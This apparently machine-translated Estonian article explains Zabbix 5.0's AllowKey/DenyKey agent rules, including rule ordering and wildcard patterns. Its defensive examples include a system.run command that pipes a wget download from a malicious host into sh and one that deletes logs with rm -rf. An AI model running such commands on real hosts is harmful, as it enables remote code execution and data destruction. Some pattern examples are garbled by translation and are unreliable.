Agendipoolsete mõõdikute musta ja valge nimekirja tugi
Tihhon Uskov, integratsiooniinsener, Zabbix
Andmeturbe probleemid
Zabbix 5.0-l on uus funktsioon, mis võimaldab parandada Zabbix Agenti kasutavate süsteemide turvalisust ja asendab vana parameetri Luba RemoteCommands.
Agendipõhiste süsteemide turvalisuse paranemine tuleneb asjaolust, et agent suudab sooritada palju potentsiaalselt ohtlikke toiminguid.
- Agent võib koguda peaaegu igasugust teavet, sealhulgas konfidentsiaalset või potentsiaalselt ohtlikku teavet, konfiguratsioonifailidest, logifailidest, paroolifailidest või muudest failidest.
Näiteks zabbix_get utiliidi abil saate juurdepääsu kasutajate loendile, nende kodukataloogidele, paroolifailidele jne.
Juurdepääs andmetele utiliidi zabbix_get abil
MÄRKUS. Andmeid saab hankida ainult siis, kui agendil on vastava faili lugemisõigused. Aga näiteks fail /etc/passwd/ loetav kõigile kasutajatele.
- Agent võib täita ka potentsiaalselt ohtlikke käske. Näiteks klahv *system.run[]** võimaldab teil käivitada võrgusõlmedes mis tahes kaugkäsklusi, sealhulgas käivitada skripte Zabbixi veebiliidesest, mis täidavad käske ka agendi poolel.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- Linuxis töötab agent vaikimisi ilma juurõigusteta, Windowsis aga süsteemina teenusena ja tal on failisüsteemile piiramatu juurdepääs. Seega, kui Zabbix Agenti parameetrites pärast installimist muudatusi ei tehta, on agentil juurdepääs registrile ja failisüsteemile ning ta saab täita WMI päringuid.
Varasemates versioonides parameeter EnableRemoteCommands=0 lubatud on ainult mõõdikuid keelata võtmega *system.run[]** ja skriptide käivitamine veebiliidesest, kuid ei olnud võimalik piirata juurdepääsu üksikutele failidele, lubada või keelata üksikuid võtmeid, mis olid koos agendiga installitud, ega piirata üksikute parameetrite kasutamist.
Parameetri EnableRemoteCommand kasutamine Zabbixi varasemates versioonides
AllowKey/DenyKey
Zabbix 5.0 aitab kaitsta sellise volitamata juurdepääsu eest, pakkudes agendi poolel mõõdikute lubamiseks ja keelamiseks valgeid ja musti loendeid.
Zabbix 5.0-s kõik võtmed, sealhulgas *system.run[]** on lubatud ja lisatud on kaks uut agendi konfiguratsioonivalikut:
AllowKey= — lubatud kontrollid;
DenyKey= — keelatud kontrollid;
kus on parameetritega võtmenimemuster, mis kasutab metamärke (*).
Klahvid AllowKey ja DenyKey võimaldavad lubada või keelata üksikuid mõõdikuid konkreetse mustri alusel. Erinevalt teistest konfiguratsiooniparameetritest ei ole AllowKey/DenyKey parameetrite arv piiratud. See võimaldab selgelt määratleda, mida agent süsteemis täpselt teha saab, luues kontrollide puu – käivitatavad võtmed, kus nende kirjutamise järjekord mängib väga olulist rolli.
Reeglite jada
Reegleid kontrollitakse nende konfiguratsioonifaili sisestamise järjekorras. Võtit kontrollitakse reeglite kohaselt enne esimest vastet ja niipea, kui andmeelemendi võti ühtib mustriga, on see lubatud või keelatud. Pärast seda reeglite kontrollimine peatub ja ülejäänud võtmeid ignoreeritakse.
Seega, kui element vastab nii lubamis- kui ka keelamisreeglile, sõltub tulemus sellest, milline reegel on konfiguratsioonifailis esimene.
2 erinevat reeglit sama mustri ja võtmega vfs.file.size[/tmp/file]
AllowKey/DenyKey klahvide kasutamise järjekord:
- täpsed reeglid,
- üldreeglid,
- keelav reegel.
Näiteks kui vajate juurdepääsu teatud kaustas olevatele failidele, peate esmalt lubama neile juurdepääsu ja seejärel keelama kõik muu, mis ei kuulu kehtestatud lubade alla. Kui esmalt kasutatakse keelamisreeglit, keelatakse juurdepääs kaustale.
Õige järjestus
Kui peate lubama 2 utiliidil töötada *system.run[]** ja keelamisreegel määratakse kõigepealt, utiliite ei käivitata, kuna esimene muster vastab alati mis tahes võtmele ja järgnevaid reegleid eiratakse.
Vale järjestus
Mustrid
Põhireegleid
Muster on metamärkidega väljend. Metamärk (*) vastab suvalisele arvule märkidele konkreetses kohas. Metamärke saab kasutada nii võtme nimes kui ka parameetrites. Näiteks saate esimese parameetri rangelt määratleda tekstiga, ja määrake järgmine metamärgina.
Parameetrid tuleb panna nurksulgudesse [].
system.run[*
- valevfs.file*.txt]
- valevfs.file.*[*]
- õige
Näited metamärgi kasutamisest.
- Võtme nimes ja parameetris. Sel juhul ei vasta võti sarnasele võtmele, mis ei sisalda parameetrit, kuna mustris märkisime, et tahame saada võtme nime teatud lõpu ja teatud parameetrite komplekti.
- Kui muster ei kasuta nurksulge, lubab muster kõik klahvid, mis ei sisalda parameetreid, ja keelab kõik võtmed, mis sisaldavad määratud parameetrit.
- Kui võti on kirjutatud täismahus ja parameetrid on määratud metamärgina, siis sobib see mis tahes sarnase võtmega mis tahes parameetritega ega ühti ilma nurksulgudeta võtmega, st see on lubatud või keelatud.
Parameetrite täitmise reeglid.
- Kui kavatsetakse kasutada parameetritega võtit, tuleb parameetrid määrata konfiguratsioonifailis. Parameetrid tuleb määrata metamärgina. Juurdepääs mis tahes failile tuleb hoolikalt keelata ja arvestada, millist teavet võib mõõdik erinevate kirjaviiside korral pakkuda - parameetritega ja ilma.
Parameetritega klahvide kirjutamise omadused
- Kui võti on määratud parameetritega, kuid parameetrid on valikulised ja määratud metamärgina, lahendatakse võti ilma parameetriteta. Näiteks kui soovite keelata teabe vastuvõtmise protsessori koormuse kohta ja määrata, et võti system.cpu.load[*] tuleks keelata, ärge unustage, et parameetriteta võti tagastab keskmise koormuse väärtuse.
Parameetrite täitmise reeglid
Märkused
reguleerimine
- Mõnda reeglit ei saa kasutaja muuta, näiteks avastamisreegleid või agendi automaatse registreerimise reegleid. AllowKey/DenyKey reeglid ei mõjuta järgmisi parameetreid:
- HostinimiItem
- HostMetadataItem
- HostInterfaceItem
MÄRKUS. Kui administraator keelab võtme, ei anna Zabbix päringu korral teavet selle kohta, miks mõõdik või võti kategooriasse "" langebEI TOETATA'. Teavet kaugkäskude täitmise keeldude kohta ei kuvata ka agendi logifailides. See on turvakaalutlustel, kuid võib silumise keerulisemaks muuta, kui mõõdikud mingil põhjusel toetamata kategooriasse satuvad.
- Väliste konfiguratsioonifailide ühendamisel ei tohiks loota kindlale järjekorrale (näiteks tähestikulises järjekorras).
Käsurea utiliidid
Pärast reeglite seadistamist peate veenduma, et kõik on õigesti seadistatud.
Võite kasutada ühte kolmest valikust.
- Lisage Zabbixile mõõdik.
- Testi koos zabbix_agentd. Zabbixi agent valikuga -print (-p) näitab kõiki võtmeid (mis on vaikimisi lubatud), välja arvatud need, mida konfiguratsioon ei luba. Ja valikuga - test (-t) keelatud võti naasebToetamata üksuse võti'.
- Testi koos zabbix_get. Kasulikkus zabbix_get valikuga -k tuleb tagasi'ZBX_NOTSUPPORTED: tundmatu mõõdik'.
Luba või keela
Saate keelata juurdepääsu failile ja kontrollida näiteks utiliidi abil zabbix_getet juurdepääs failile on keelatud.
**
MÄRKUS. Parameetris olevaid tsitaate eiratakse.
Sellisel juhul võidakse lubada juurdepääsu sellisele failile muu tee kaudu. Näiteks kui selleni viib sümbollink.
Soovitatav on kontrollida erinevaid antud reeglite rakendamise võimalusi ning arvestada ka keeldudest möödahiilimise võimalustega.
Küsimused ja vastused
Küsimus. Miks valiti reeglite, lubade ja keeldude kirjeldamiseks nii keeruline, omakeeleline muster? Miks ei olnud võimalik kasutada näiteks regulaaravaldisi, mida Zabbix kasutab?
Vastus. See on regexi jõudluse probleem, kuna tavaliselt on ainult üks agent ja see kontrollib suurt hulka mõõdikuid. Regex on üsna raske toiming ja me ei saa sel viisil tuhandeid mõõdikuid kontrollida. Metamärgid – universaalne, laialt kasutatav ja lihtne lahendus.
Küsimus. Kas kaasasolevad failid pole tähestikulises järjekorras?
Vastus. Minu teada on praktiliselt võimatu ennustada reeglite rakendamise järjekorda, kui jaotada reeglid erinevate failide vahel. Soovitan koguda kõik AllowKey/DenyKey reeglid ühte Include-faili, kuna need suhtlevad üksteisega ja kaasata see fail.
Küsimus. Zabbix 5.0-s on valik "EnableRemoteCommands=' puudub konfiguratsioonifailist ja saadaval on ainult AllowKey/DenyKey?
Vastus. jah see on õige.
Tänan teid tähelepanu eest!
Allikas: www.habr.com